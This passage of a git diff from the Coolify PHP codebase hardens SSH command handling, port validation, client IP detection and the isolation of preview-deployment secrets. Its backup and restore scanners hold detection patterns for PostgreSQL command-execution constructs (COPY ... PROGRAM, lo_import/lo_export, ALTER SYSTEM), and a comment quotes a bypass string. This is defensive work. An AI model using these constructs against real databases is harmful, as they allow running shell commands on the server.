SshMultiplexingHelper::generateSshCommand($server, implode("\n", $commands)); + // The commands go to ssh on stdin, so the database passwords in them are not in a command line on the Coolify host. + $remoteCommand = SshMultiplexingHelper::generateSshBatchCommand($server); $activity->properties = $activity->properties->merge(['status' => ProcessStatus::IN_PROGRESS->value]); $activity->save(); @@ -34,6 +35,7 @@ class DatabaseStartCommandExecutor try { $process = Process::timeout($timeout) ->idleTimeout(3600) + ->input(SshMultiplexingHelper::sshBatchInput(implode("\n", $commands))) ->start($remoteCommand, function (string $type, string $output) use ($activity, $secrets, &$pending): void { $pending[$type] = ($pending[$type] ?? '').$output; $end = max(strrpos($pending[$type], "\n"), strrpos($pending[$type], "\r")); diff --git a/app/Services/DockerRegistryLogins.php b/app/Services/DockerRegistryLogins.php index 8406fa9ec4..8b3d62b4fc 100644 --- a/app/Services/DockerRegistryLogins.php +++ b/app/Services/DockerRegistryLogins.php @@ -216,10 +216,9 @@ class DockerRegistryLogins /** * Run docker login on the server, writing to the same config file that deployments mount. * - * The SSH wrapper sends this script to the server's shell on stdin, and the shell builtin echo passes the - * secret to docker on stdin, so it is not a process argument on the server. On the Coolify host it is still - * in the command line of the local shell that runs ssh, because SshMultiplexingHelper::generateSshCommand() - * embeds the script in a heredoc. It is kept out of SSH error logs and exception messages. + * The script goes to the server's shell on ssh stdin, and the shell builtin echo passes the secret to docker + * on stdin, so it is not a process argument on the Coolify host or on the server. It is kept out of SSH error + * logs and exception messages. */ public static function login(Server $server, string $registry, string $username, string $password): void { @@ -277,7 +276,9 @@ class DockerRegistryLogins { $commands = $server->isNonRoot() ? parseCommandsByLineForSudo(collect([$command]), $server) : [$command]; try { - $process = Process::timeout(60)->run(SshMultiplexingHelper::generateSshCommand($server, implode("\n", $commands))); + $process = Process::timeout(60) + ->input(SshMultiplexingHelper::sshBatchInput(implode("\n", $commands))) + ->run(SshMultiplexingHelper::generateSshBatchCommand($server)); } catch (ProcessTimedOutException|SymfonyProcessTimedOutException) { // The timeout message contains the full SSH command, including the registry password. throw new RuntimeException('The command on the server timed out after 60 seconds.', 124); diff --git a/app/Services/SentinelMetricsClient.php b/app/Services/SentinelMetricsClient.php index b9ad06a164..fe3d785c63 100644 --- a/app/Services/SentinelMetricsClient.php +++ b/app/Services/SentinelMetricsClient.php @@ -35,6 +35,17 @@ class SentinelMetricsClient }; } + /** + * Sentinel averages rows into `bucket_ms` windows. Older Sentinels ignore the param + * and return raw rows, which seriesRows() buckets the same way. + * + * @return array{from: string, bucket_ms: int} + */ + private static function historyQuery(string $range): array + { + return ['from' => self::rangeFrom($range), 'bucket_ms' => self::bucketMs($range)]; + } + /** * @return array|null */ @@ -112,7 +123,7 @@ class SentinelMetricsClient default => ['/cpu/history', 'percent'], }; - return $this->seriesRows($this->url($path, ['from' => self::rangeFrom($range)]), $field, $range, $metric === 'disk'); + return $this->seriesRows($this->url($path, self::historyQuery($range)), $field, $range, $metric === 'disk'); } /** @@ -120,7 +131,7 @@ class SentinelMetricsClient */ public function networkHistory(string $range): array { - $url = $this->url('/network/history', ['from' => self::rangeFrom($range)]); + $url = $this->url('/network/history', self::historyQuery($range)); return [ 'rx' => $this->seriesRows($url, 'rxBytesPerSec', $range), @@ -149,8 +160,9 @@ class SentinelMetricsClient $rows = array_filter($rows, fn ($row) => ($row['mount'] ?? null) === $mount); } - // Average raw samples into epoch-aligned buckets so every server shares the same - // timestamps and the fleet aggregator can sum them point by point. + // Average samples into epoch-aligned buckets so every server shares the same + // timestamps and the fleet aggregator can sum them point by point. A no-op for + // rows Sentinel already bucketed. $bucketMs = self::bucketMs($range); $sums = []; $counts = []; @@ -172,7 +184,7 @@ class SentinelMetricsClient * * @param array> $rows */ - private static function rootMountName(array $rows): ?string + public static function rootMountName(array $rows): ?string { $mounts = array_column($rows, 'mount'); diff --git a/app/Services/SentinelTrafficClient.php b/app/Services/SentinelTrafficClient.php index 1c5c28e2d8..5398456a33 100644 --- a/app/Services/SentinelTrafficClient.php +++ b/app/Services/SentinelTrafficClient.php @@ -727,9 +727,9 @@ class SentinelTrafficClient $commands = $this->server->isNonRoot() ? parseCommandsByLineForSudo(collect([$command]), $this->server) : [$command]; try { - $process = Process::timeout(self::REMOTE_TIMEOUT)->run( - SshMultiplexingHelper::generateSshCommand($this->server, implode("\n", $commands), commandTimeout: self::REMOTE_TIMEOUT) - ); + $process = Process::timeout(self::REMOTE_TIMEOUT) + ->input(SshMultiplexingHelper::sshBatchInput(implode("\n", $commands))) + ->run(SshMultiplexingHelper::generateSshBatchCommand($this->server, commandTimeout: self::REMOTE_TIMEOUT)); if ($process->exitCode() !== 0) { excludeCertainErrors($process->errorOutput(), $process->exitCode()); diff --git a/app/Services/ServerTransfer/ServerTransferBundle.php b/app/Services/ServerTransfer/ServerTransferBundle.php index dd75f61b2e..09cee9d951 100644 --- a/app/Services/ServerTransfer/ServerTransferBundle.php +++ b/app/Services/ServerTransfer/ServerTransferBundle.php @@ -213,6 +213,7 @@ class ServerTransferBundle } foreach (self::items($environment['databases'] ?? null) as $d => $database) { + self::checkDatabasePorts($errors, "{$at}.databases.{$d}", (array) ($database['attributes'] ?? [])); self::checkStorages($errors, "{$at}.databases.{$d}", $database); self::checkScheduledBackups($errors, "{$at}.databases.{$d}", $database); } @@ -395,4 +396,38 @@ class ServerTransferBundle self::checkPath($errors, "{$at}.scheduled_backups.{$i}.databases_to_backup", $backup['databases_to_backup'] ?? null); } } + + /** + * Checks the port values of a database. Older databases were saved before the UI checked them + * (March 2026), so this accepts any public port in 1-65535, spaces around mappings, empty entries, + * and container-only ports. It refuses values that are not ports, because they reach the compose file. + * + * @param list $errors + * @param array $attributes + */ + private static function checkDatabasePorts(array &$errors, string $at, array $attributes): void + { + if (array_key_exists('public_port', $attributes)) { + self::check($errors, "{$at}.public_port", $attributes['public_port'], ['nullable', 'integer', 'between:1,65535']); + } + + if (! array_key_exists('ports_mappings', $attributes) || $attributes['ports_mappings'] === null) { + return; + } + $mappings = $attributes['ports_mappings']; + if (! is_string($mappings)) { + $errors[] = "{$at}.ports_mappings must be a string."; + + return; + } + foreach (explode(',', $mappings) as $mapping) { + $mapping = trim($mapping, " \t"); + if ($mapping === '' || preg_match('/^\d+(?:-\d+)?(?:\/(?:tcp|udp|sctp))?$/', $mapping) === 1 || preg_match(ValidationPatterns::PORT_MAPPINGS_PATTERN, $mapping) === 1) { + continue; + } + $errors[] = "{$at}.ports_mappings must be a comma-separated list of port mappings (e.g. 5432:5432,127.0.0.1:8080:80/udp)."; + + return; + } + } } diff --git a/app/Support/DatabaseBackupFileValidator.php b/app/Support/DatabaseBackupFileValidator.php index 6e885123f3..eadf066bc6 100644 --- a/app/Support/DatabaseBackupFileValidator.php +++ b/app/Support/DatabaseBackupFileValidator.php @@ -100,6 +100,8 @@ class DatabaseBackupFileValidator return false; } + $sql = self::withoutCopyData($sql); + // Token separator PostgreSQL treats as whitespace: real whitespace, a block comment // (the lazy match can extend to the outer end of a nested comment), or a line // comment. Comment forms also match inside string literals, which can only block @@ -120,6 +122,29 @@ class DatabaseBackupFileValidator return preg_match('~(?:from|to)'.$sep.'+program|lo_(?:import|export)'.$sep.'*\(|alter'.$sep.'+system'.$sep.'+(?:set|reset)~is', $sql) !== 0; } + /** + * Removes the table data of COPY ... FROM stdin blocks: rows are data, not SQL, and ordinary + * text such as "how to program" matched the patterns. Same rule as the restore scan in + * DatabaseImportCommandBuilder: a block starts at the line "COPY ... FROM stdin;" as pg_dump + * writes it and ends at the line "\.". + */ + private static function withoutCopyData(string $sql): string + { + $kept = ''; + $offset = 0; + + while (preg_match('/^COPY .* FROM stdin;$/m', $sql, $match, PREG_OFFSET_CAPTURE, $offset) === 1) { + $dataStart = $match[0][1] + strlen($match[0][0]); + $kept .= substr($sql, $offset, $dataStart - $offset); + $end = preg_match('/^\\\\\\.$/m', $sql, $terminator, PREG_OFFSET_CAPTURE, $dataStart) === 1 + ? $terminator[0][1] + 2 + : strlen($sql); + $offset = $end; + } + + return $kept.substr($sql, $offset); + } + private static function extensionFor(string $name): ?string { $lower = strtolower($name); @@ -152,14 +177,14 @@ class DatabaseBackupFileValidator $sample = (string) file_get_contents($path, false, null, 0, 4096); return match ($extension) { - 'sql' => self::looksLikeText($sample) && ! self::containsPostgresqlProgramExecution($sample), + 'sql' => self::looksLikeText($sample), 'sql.gz', 'gz', 'tar.gz', 'tgz', 'bson.gz', 'archive.gz', 'db.gz', 'sqlite.gz', 'sqlite3.gz' => str_starts_with($sample, "\x1f\x8b"), 'zip' => str_starts_with($sample, "PK\x03\x04") || str_starts_with($sample, "PK\x05\x06") || str_starts_with($sample, "PK\x07\x08"), 'tar' => substr($sample, 257, 5) === 'ustar', 'bz2' => str_starts_with($sample, 'BZh'), 'xz' => str_starts_with($sample, "\xfd7zXZ\x00"), 'dump', 'bak', 'archive', 'dmp' => str_starts_with($sample, 'PGDMP') - || (self::looksLikeText($sample) && ! self::containsPostgresqlProgramExecution($sample)), + || self::looksLikeText($sample), 'bson' => self::looksLikeBson($path, $sample), 'db', 'sqlite', 'sqlite3' => str_starts_with($sample, "SQLite format 3\0"), default => false, diff --git a/app/Support/DatabaseImport/DatabaseImportCommandBuilder.php b/app/Support/DatabaseImport/DatabaseImportCommandBuilder.php index 4535420e6f..851c47fa37 100644 --- a/app/Support/DatabaseImport/DatabaseImportCommandBuilder.php +++ b/app/Support/DatabaseImport/DatabaseImportCommandBuilder.php @@ -54,6 +54,11 @@ tolower($0) ~ /^[ \t]*create[ \t]+(database|schema)[ \t]/ { if (is_system(databa !skip { print } AWK; + /** + * Prints a PostgreSQL SQL dump without the table data of its COPY ... FROM stdin blocks. + */ + private const POSTGRES_COPY_DATA_FILTER = 'data { if ($0 == "\\\\.") data = 0; next } { print } /^COPY .* FROM stdin;$/ { data = 1 }'; + /** * @param bool $keepOwners PostgreSQL archives: restore object owners and privileges. Off by default, * because roles from another host (for example RDS) usually do not exist here. @@ -135,13 +140,19 @@ SH; // Comments are no longer stripped: deleting the rest of a line on "--" also cut // inside string literals, which let "SELECT '--'; COPY ... PROGRAM" slip through. // A commented-out PROGRAM statement is now blocked too, which is the safer default. - $scan = static fn (string $source): string => "{$source} | LC_ALL=C grep -Eiq {$escapedPsqlPattern} || {$source} | tr -d '~' | tr '\\n\\r' '~~' | LC_ALL=C grep -Eiq {$escapedSqlPattern}"; + // Table data of COPY ... FROM stdin blocks is not scanned: it is data, not SQL, and ordinary + // text such as "how to program" matched the patterns. pg_dump writes each block as the line + // "COPY ... FROM stdin;", the rows, and the line "\.". When awk is missing or fails, the + // scan receives a line that matches, so the restore is blocked. + $withoutCopyData = static fn (string $source): string => "{ {$source} | LC_ALL=C awk ".escapeshellarg(self::POSTGRES_COPY_DATA_FILTER)." || echo '\\! from program'; }"; + $scan = static fn (string $source): string => $withoutCopyData($source)." | LC_ALL=C grep -Eiq {$escapedPsqlPattern} || ".$withoutCopyData($source)." | tr -d '~' | tr '\\n\\r' '~~' | LC_ALL=C grep -Eiq {$escapedSqlPattern}"; $customScan = $scan('pg_restore -f - "$inspect" 2>/dev/null'); $sqlScan = $scan($contents); $blockedProgram = 'echo \'Blocked PostgreSQL restore: the backup contains a COPY ... PROGRAM, psql shell command, lo_import/lo_export, or ALTER SYSTEM pattern. If you trust this dump, restore it from the database container terminal.\'; exit 1'; $blockedInspect = 'echo \'Blocked PostgreSQL restore: unable to inspect custom archive.\'; exit 1'; return <</dev/null 2>&1 || { echo 'Blocked PostgreSQL restore: awk is required to scan the backup.'; exit 1; } header=\$({$contents} | head -c 5) tar_magic=\$({$contents} | head -c 262 | tail -c 5) if [ "\$header" = 'PGDMP' ] || [ "\$tar_magic" = 'ustar' ]; then @@ -270,6 +281,12 @@ SH; /** * Checks the backup format before any database is dropped, then recreates the * target database and restores archives with pg_restore and SQL with psql. + * The restore must not stop on the first error: a pg_dumpall dump always creates the + * superuser role (and creates the target database) that already exist here, and an + * archive with owners references roles this server may not have. Stopping there would + * leave the server without the databases that were just dropped. + * pg_dumpall does not create the postgres database (it expects it to exist), so it is + * recreated too when POSTGRES_DB names another database. */ private function postgresqlDumpAll(): string { @@ -287,10 +304,11 @@ check_superuser psql -U "$pg_user" -d template1 -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" || exit 1 psql -U "$pg_user" -d template1 -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U "$pg_user" --maintenance-db=template1 --if-exists {} || exit 1 createdb -U "$pg_user" "$db" || exit 1 +[ "$db" = postgres ] || createdb -U "$pg_user" postgres || exit 1 if [ "$kind" = archive ]; then - stream | pg_restore --exit-on-error -U "$pg_user" -d "$db" + stream | pg_restore -U "$pg_user" -d "$db" else - stream | psql -v ON_ERROR_STOP=1 -U "$pg_user" -d "$db" + stream | psql -U "$pg_user" -d "$db" fi SH; } diff --git a/app/Traits/ExecuteRemoteCommand.php b/app/Traits/ExecuteRemoteCommand.php index 21912fb82f..4dffd37b5f 100644 --- a/app/Traits/ExecuteRemoteCommand.php +++ b/app/Traits/ExecuteRemoteCommand.php @@ -159,9 +159,9 @@ trait ExecuteRemoteCommand } /** - * Execute the actual command with process handling. With $input, the content goes to the command over - * SSH stdin, because Linux limits one exec argument to 128 KiB and generateSshCommand() puts the whole - * script into one argument. + * Execute the actual command with process handling. Without $input, the command goes to the remote shell + * over SSH stdin, so its secrets are not in a command line on the Coolify host. With $input, the command + * is the SSH argument and the content goes to it over SSH stdin. */ private function executeCommandWithProcess($command, $hidden, $customType, $append, $ignore_errors, $command_hidden = false, $skip_command_log = false, ?string $input = null) { @@ -169,9 +169,12 @@ trait ExecuteRemoteCommand $this->application_deployment_queue->addLogEntry('[CMD]: '.$this->redact_sensitive_info($command), hidden: true); } - $remote_command = $input === null - ? SshMultiplexingHelper::generateSshCommand($this->server, $command) - : SshMultiplexingHelper::generateSshStdinCommand($this->server, $command); + if ($input === null) { + $remote_command = SshMultiplexingHelper::generateSshBatchCommand($this->server); + $input = SshMultiplexingHelper::sshBatchInput((string) $command); + } else { + $remote_command = SshMultiplexingHelper::generateSshStdinCommand($this->server, $command); + } $addLogEntry = function (string $type, string $output) use ($command, $hidden, $customType, $command_hidden, $skip_command_log): void { // Sanitize output to ensure valid UTF-8 encoding before JSON encoding $log_output = str(sanitize_utf8_text($output))->trim(); diff --git a/app/Traits/HasMetrics.php b/app/Traits/HasMetrics.php index d39675276d..3a1648fc3f 100644 --- a/app/Traits/HasMetrics.php +++ b/app/Traits/HasMetrics.php @@ -3,6 +3,7 @@ namespace App\Traits; use App\Models\Server; +use App\Services\SentinelMetricsClient; use Illuminate\Contracts\Encryption\DecryptException; use Illuminate\Support\Facades\Log; @@ -35,7 +36,7 @@ trait HasMetrics // only has letters, digits and `._-+/=` (ServerSetting::isValidSentinelToken), so it // cannot end the heredoc. Responses are separated by a 0x1E record separator. $script = implode("\nprintf '\\036'\n", array_map( - fn (string $type) => 'curl -s -H @- "'.$this->getMetricsEndpoint($type, $from)."\" <<'COOLIFY_SENTINEL_AUTH'\nAuthorization: Bearer {$token}\nCOOLIFY_SENTINEL_AUTH", + fn (string $type) => 'curl -s -H @- "'.$this->getMetricsEndpoint($type, $from, $mins)."\" <<'COOLIFY_SENTINEL_AUTH'\nAuthorization: Bearer {$token}\nCOOLIFY_SENTINEL_AUTH", $types )); @@ -80,7 +81,7 @@ trait HasMetrics /** * Root filesystem usage percentage over time. Disk history interleaves every - * mount, so we keep only the root mount before mapping. + * mount, so we keep only the root mount (see SentinelMetricsClient::rootMountName()). */ public function getDiskMetrics(int $mins = 5): ?array { @@ -90,7 +91,8 @@ trait HasMetrics } if (array_any($rows, fn ($row) => array_key_exists('mount', $row))) { - $rows = array_values(array_filter($rows, fn ($row) => ($row['mount'] ?? null) === '/')); + $mount = SentinelMetricsClient::rootMountName($rows); + $rows = array_values(array_filter($rows, fn ($row) => ($row['mount'] ?? null) === $mount)); } return $this->mapRows($rows, 'usedPercent', $mins); @@ -147,11 +149,11 @@ trait HasMetrics unset($this->prefetchedMetricResponses[$key]); } else { $from = now()->subMinutes($mins)->toIso8601ZuluString(); - $endpoint = $this->getMetricsEndpoint($type, $from); + $endpoint = $this->getMetricsEndpoint($type, $from, $mins); $token = $this->metricsToken($server); $response = instant_remote_process( - ["docker exec coolify-sentinel sh -c 'curl -H \"Authorization: Bearer {$token}\" {$endpoint}'"], + ["docker exec coolify-sentinel sh -c 'curl -H \"Authorization: Bearer {$token}\" \"{$endpoint}\"'"], $server, false ); @@ -248,13 +250,23 @@ trait HasMetrics return $this->isServerMetrics() ? $this : $this->destination->server; } - private function getMetricsEndpoint(string $type, string $from): string + /** + * Ranges over an hour ask Sentinel to average rows into whole-minute windows, at most + * 1000 per range, so it sends far fewer rows. Older Sentinels ignore `bucket_ms`; + * mapRows() still downsamples their raw rows. + */ + private function getMetricsEndpoint(string $type, string $from, int $mins): string { $base = 'http://localhost:8888/api'; - if ($this->isServerMetrics()) { - return "{$base}/{$type}/history?from={$from}"; + $query = "from={$from}"; + if ($mins > 60) { + $query .= '&bucket_ms='.((int) ceil($mins / 1000) * 60_000); } - return "{$base}/container/{$this->uuid}/{$type}/history?from={$from}"; + if ($this->isServerMetrics()) { + return "{$base}/{$type}/history?{$query}"; + } + + return "{$base}/container/{$this->uuid}/{$type}/history?{$query}"; } } diff --git a/bootstrap/helpers/applications.php b/bootstrap/helpers/applications.php index c6d7a20a0c..d8f2d27296 100644 --- a/bootstrap/helpers/applications.php +++ b/bootstrap/helpers/applications.php @@ -1,6 +1,6 @@ persistentStorages()->get(); foreach ($persistentVolumes as $volume) { $newName = ''; @@ -472,28 +473,18 @@ function clone_application(Application $source, $destination, array $overrides = $newPersistentVolume->save(); if ($cloneVolumeData) { - try { - StopApplication::dispatch($source, false, false); - $sourceVolume = $volume->name; - $targetVolume = $newPersistentVolume->name; - $sourceServer = $source->destination->server; - $targetServer = $newApplication->destination->server; - - VolumeCloneJob::dispatch($sourceVolume, $targetVolume, $sourceServer, $targetServer, $newPersistentVolume); - - queue_application_deployment( - deployment_uuid: new_public_id(), - application: $source, - server: $sourceServer, - destination: $source->destination, - no_questions_asked: true - ); - } catch (Exception $e) { - Log::error('Failed to copy volume data for '.$volume->name.': '.$e->getMessage()); - } + $pendingVolumeClones[] = new VolumeCloneJob( + $volume->name, + $newPersistentVolume->name, + $source->destination->server, + $newApplication->destination->server, + $newPersistentVolume, + ); } } + CloneVolumeDataWithSourceStopped::run($source, $pendingVolumeClones); + // Clone file storages $fileStorages = $source->fileStorages()->get(); foreach ($fileStorages as $storage) { diff --git a/bootstrap/helpers/auth.php b/bootstrap/helpers/auth.php index 564ae31062..4d7b1943ef 100644 --- a/bootstrap/helpers/auth.php +++ b/bootstrap/helpers/auth.php @@ -3,19 +3,49 @@ use Illuminate\Http\Request; /** - * The client IP for rate limits, allow-lists, and audit logs. Behind Cloudflare, $request->ip() - * is the Cloudflare edge, so a valid CF-Connecting-IP is used: on cloud, and on self-hosted - * instances when the request comes from a Cloudflare IP. A client that connects directly - * cannot set the client IP with the header. + * The client IP for rate limits, allow-lists, and audit logs. + * + * TrustProxies trusts every peer, so a client that connects directly to the dashboard port could + * set $request->ip() with X-Forwarded-For. The TCP peer (REMOTE_ADDR) decides what to trust: + * - A public peer is the client. Forwarded headers are ignored, except CF-Connecting-IP when the + * peer is a Cloudflare edge. + * - A private or loopback peer is a local reverse proxy (coolify-proxy, cloudflared, a Docker + * network), so the address that proxy forwarded is used. CF-Connecting-IP is used only when + * that address is a Cloudflare edge. + * On cloud, which runs behind Cloudflare, a valid CF-Connecting-IP is always used. */ function client_ip(Request $request): string { - $ip = (string) $request->ip(); $cloudflareIp = $request->header('CF-Connecting-IP'); + $cloudflareIp = is_string($cloudflareIp) && filter_var($cloudflareIp, FILTER_VALIDATE_IP) !== false ? $cloudflareIp : null; - if (is_string($cloudflareIp) && filter_var($cloudflareIp, FILTER_VALIDATE_IP) !== false && (isCloud() || isCloudflareIp($ip))) { + $peer = (string) $request->server('REMOTE_ADDR'); + $hop = isLocalProxyIp($peer) ? (string) $request->ip() : $peer; + + if ($cloudflareIp !== null && (isCloud() || isCloudflareIp($hop))) { return $cloudflareIp; } - return $ip; + return $hop; +} + +/** + * Whether an address is loopback, private, or link-local (IPv4, IPv6, or IPv4-mapped IPv6): a + * reverse proxy on the same host or Docker network rather than a client on the internet. + */ +function isLocalProxyIp(string $ip): bool +{ + if (filter_var($ip, FILTER_VALIDATE_IP) === false) { + return false; + } + + $packed = inet_pton($ip); + if (strlen($packed) === 16 && str_starts_with($packed, str_repeat("\0", 10)."\xff\xff")) { + $ip = inet_ntop(substr($packed, 12)); + } + + return ipMatch($ip, [ + '127.0.0.0/8', '10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16', '169.254.0.0/16', + '::1/128', 'fc00::/7', 'fe80::/10', + ]); } diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 5e34a4dc4c..8ae596a1e1 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -1151,6 +1151,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $pullRequestId = $pull_request_id; $isPullRequest = $pullRequestId == 0 ? false : true; + // A public preview can run the compose file of a fork pull request. + $isPublicPullRequest = $isPullRequest && (bool) data_get($resource, 'settings.is_pr_deployments_public_enabled'); $server = data_get($resource, 'destination.server'); try { $yaml = parseDockerComposeYaml($compose); @@ -1216,12 +1218,6 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int // convert environment variables to one format $environment = convertToKeyValueCollection($environment); - // Add Coolify defined environments - $allEnvironments = $resource->environment_variables()->get(['key', 'value']); - - $allEnvironments = $allEnvironments->mapWithKeys(function ($item) { - return [$item['key'] => $item['value']]; - }); // filter and add magic environments foreach ($environment as $key => $value) { // Get all SERVICE_ variables from keys and values @@ -1269,7 +1265,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $resource->save(); } - if (! $parsed['has_port']) { + // The stored variables belong to the main application; a preview deployment gets its own domains. + if (! $parsed['has_port'] && ! $isPullRequest) { $resource->environment_variables()->updateOrCreate([ 'key' => $key->value(), 'resourceable_type' => get_class($resource), @@ -1279,7 +1276,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int 'is_preview' => false, ]); } - if ($parsed['has_port']) { + if ($parsed['has_port'] && ! $isPullRequest) { $newKey = str($key)->beforeLast('_'); $resource->environment_variables()->updateOrCreate([ @@ -1375,45 +1372,48 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $fqdnValueForEnvWithPort = "$fqdnValueForEnv:$port"; } - // ALWAYS create base SERVICE_FQDN variable (host only, no scheme) - $resource->environment_variables()->firstOrCreate([ - 'key' => "SERVICE_FQDN_{$serviceNamePreserved}", - 'resourceable_type' => get_class($resource), - 'resourceable_id' => $resource->id, - ], [ - 'value' => $fqdnValueForEnv, - 'is_preview' => false, - ]); - - // ALWAYS create base SERVICE_URL variable (with scheme) - $resource->environment_variables()->firstOrCreate([ - 'key' => "SERVICE_URL_{$serviceNamePreserved}", - 'resourceable_type' => get_class($resource), - 'resourceable_id' => $resource->id, - ], [ - 'value' => $url, - 'is_preview' => false, - ]); - - // If port-specific, ALSO create port-specific pairs - if ($parsed['has_port'] && $port) { + // The stored variables belong to the main application; a preview deployment gets its own domains. + if (! $isPullRequest) { + // ALWAYS create base SERVICE_FQDN variable (host only, no scheme) $resource->environment_variables()->firstOrCreate([ - 'key' => "SERVICE_FQDN_{$serviceNamePreserved}_{$port}", + 'key' => "SERVICE_FQDN_{$serviceNamePreserved}", 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ - 'value' => $fqdnValueForEnvWithPort, + 'value' => $fqdnValueForEnv, 'is_preview' => false, ]); + // ALWAYS create base SERVICE_URL variable (with scheme) $resource->environment_variables()->firstOrCreate([ - 'key' => "SERVICE_URL_{$serviceNamePreserved}_{$port}", + 'key' => "SERVICE_URL_{$serviceNamePreserved}", 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ - 'value' => $urlWithPort, + 'value' => $url, 'is_preview' => false, ]); + + // If port-specific, ALSO create port-specific pairs + if ($parsed['has_port'] && $port) { + $resource->environment_variables()->firstOrCreate([ + 'key' => "SERVICE_FQDN_{$serviceNamePreserved}_{$port}", + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $fqdnValueForEnvWithPort, + 'is_preview' => false, + ]); + + $resource->environment_variables()->firstOrCreate([ + 'key' => "SERVICE_URL_{$serviceNamePreserved}_{$port}", + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $urlWithPort, + 'is_preview' => false, + ]); + } } if ($resource->build_pack === 'dockercompose') { @@ -1437,6 +1437,21 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int } } } + } elseif ($isPullRequest) { + // A preview deployment reads its preview variables, so a pull request parse generates the value there. + $previewVariable = $resource->environment_variables_preview()->firstOrCreate([ + 'key' => $key->value(), + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => generateEnvValue($command, $resource), + 'is_preview' => true, + ]); + // A public preview does not get the production secret; it gets its own value. + if ($isPublicPullRequest && ! $previewVariable->wasRecentlyCreated + && $previewVariable->value === $resource->environment_variables()->where('key', $key->value())->first()?->value) { + $previewVariable->update(['value' => generateEnvValue($command, $resource)]); + } } else { $value = generateEnvValue($command, $resource); $resource->environment_variables()->firstOrCreate([ @@ -1452,6 +1467,9 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int } } + // A pull request parse keeps its magic variables in the preview variables (see above), not in the production variables. + $isPullRequestMagicVariable = fn (string $key): bool => $isPullRequest && $allMagicEnvironments->has($key); + // generate SERVICE_NAME variables for docker compose services $serviceNameEnvironments = collect([]); if ($resource->build_pack === 'dockercompose') { @@ -1863,15 +1881,17 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $isRequired = str_contains($operator, '?'); // Create the primary variable with its default (only if it doesn't exist) - $envVar = $resource->environment_variables()->firstOrCreate([ - 'key' => $varName, - 'resourceable_type' => get_class($resource), - 'resourceable_id' => $resource->id, - ], [ - 'value' => $isRequired ? null : $defaultValue, - 'is_preview' => false, - 'is_required' => $isRequired, - ]); + if (! $isPullRequestMagicVariable($varName)) { + $envVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $varName, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'value' => $isRequired ? null : $defaultValue, + 'is_preview' => false, + 'is_required' => $isRequired, + ]); + } // Recursively process nested variables in default value if (str_contains($defaultValue, '${')) { @@ -1887,7 +1907,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int // Skip SERVICE_URL_* and SERVICE_FQDN_* variables - they are handled by magic variable system $isMagicVariable = str_starts_with($nestedVarName, 'SERVICE_URL_') || str_starts_with($nestedVarName, 'SERVICE_FQDN_'); - if (! $isMagicVariable) { + if (! $isMagicVariable && ! $isPullRequestMagicVariable($nestedVarName)) { if ($nestedSplit !== null) { $nestedEnvVar = $resource->environment_variables()->firstOrCreate([ 'key' => $nestedSplit['variable'], @@ -1918,14 +1938,16 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int } else { // Simple variable reference without default $parsedKeyValue = replaceVariables($value); - $envVar = $resource->environment_variables()->firstOrCreate([ - 'key' => $content, - 'resourceable_type' => get_class($resource), - 'resourceable_id' => $resource->id, - ], [ - 'is_preview' => false, - 'is_required' => $isRequired, - ]); + if (! $isPullRequestMagicVariable($content)) { + $envVar = $resource->environment_variables()->firstOrCreate([ + 'key' => $content, + 'resourceable_type' => get_class($resource), + 'resourceable_id' => $resource->id, + ], [ + 'is_preview' => false, + 'is_required' => $isRequired, + ]); + } } } else { // Fallback to old behavior for malformed input (backward compatibility) @@ -2108,7 +2130,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int if ($environment->count() > 0) { $environment = $environment->filter(function ($value, $key) { return ! str($key)->startsWith('SERVICE_FQDN_'); - })->map(function ($value, $key) use ($resource, $isPullRequest) { + })->map(function ($value, $key) use ($resource, $isPullRequest, $isPublicPullRequest) { + $isValueFromDatabase = false; // Preserve empty strings and null values with correct Docker Compose semantics: // - Empty string: Variable is set to "" (e.g., HTTP_PROXY="" means "no proxy") // - Null: Variable is unset/removed from container environment (may inherit from host) @@ -2119,10 +2142,18 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int } elseif ($value === '' && ! ($isPullRequest && str($key)->startsWith('SERVICE_URL_'))) { // Empty string - allow database override for backward compatibility. // The stored service URLs belong to the main application, so a preview does not use them. - $dbEnv = $resource->environment_variables()->where('key', $key)->first(); + // A preview uses its preview variables, like ApplicationDeploymentJob does. + $dbEnv = $isPullRequest + ? $resource->environment_variables_preview()->where('key', $key)->first() + : $resource->environment_variables()->where('key', $key)->first(); + // A public preview does not get preview variables that still have the production value. + if ($dbEnv && $isPublicPullRequest && $resource->environment_variables()->where('key', $key)->first()?->value === $dbEnv->value) { + $dbEnv = null; + } // Only use database override if it exists AND has a non-empty value if ($dbEnv && str($dbEnv->value)->isNotEmpty()) { $value = $dbEnv->value; + $isValueFromDatabase = true; } // Otherwise keep empty string as-is } @@ -2130,7 +2161,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int // Resolve shared variable patterns like {{environment.VAR}}, {{project.VAR}}, {{team.VAR}} // Without this, literal {{...}} strings end up in the compose environment: section, // which takes precedence over the resolved values in the .env file (env_file:) - if (is_string($value) && str_contains($value, '{{')) { + // A public preview resolves them only in 